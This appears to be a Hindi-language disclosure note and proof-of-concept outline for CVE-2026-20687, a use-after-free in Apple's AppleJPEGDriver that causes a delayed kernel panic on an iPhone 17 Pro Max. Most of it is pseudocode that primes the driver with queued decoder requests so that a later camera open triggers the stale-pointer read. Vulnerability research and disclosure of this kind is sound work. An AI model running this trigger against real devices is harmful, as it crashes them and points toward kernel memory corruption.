
CVE-2026-20687: AppleJPEGDriver startDecoder टाइमआउट UAF — iOS/macOS कर्नेल भेद्यता जो विलंबित पैनिक (A19 Pro, iOS 26.3 RC) की ओर ले जाती है
CVE-2026-20687 | लेखक: Johnny Franks (@zeroxjf)
घटक: Kernel
प्रभाव: एक ऐप अप्रत्याशित सिस्टम समाप्ति का कारण बन सकता है या kernel मेमोरी लिख सकता है
विवरण: बेहतर मेमोरी प्रबंधन के साथ एक use after free समस्या का समाधान किया गया।
यह आपके डिवाइस को kernel panic कर देगा। अपना काम सहेज लें।
iOS 26.3 (23D125) पर iPhone18,2 (iPhone 17 Pro Max, A19 Pro) पर परीक्षण किया गया।
प्रत्यक्ष ट्रिगर:
// PoC: ड्राइवर को प्राइम करता है; पैनिक आमतौर पर Camera खोलने तक विलंबित होता है।
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);
// बाद में, Camera खोलने से ट्रिगर होता है:
startDecoder_sync();
queue_io_gated(): vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG: डीक्यू नहीं करता (req + 0x78)
// और बाद में (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // स्टेल: node_ptr == (freed req + 0x78)
req2 = *(node_ptr + 0x8); // req+0x80 का UAF रीड -> MTE टैग फॉल्ट -> पैनिक
ios-app/Test.xcodeproj खोलें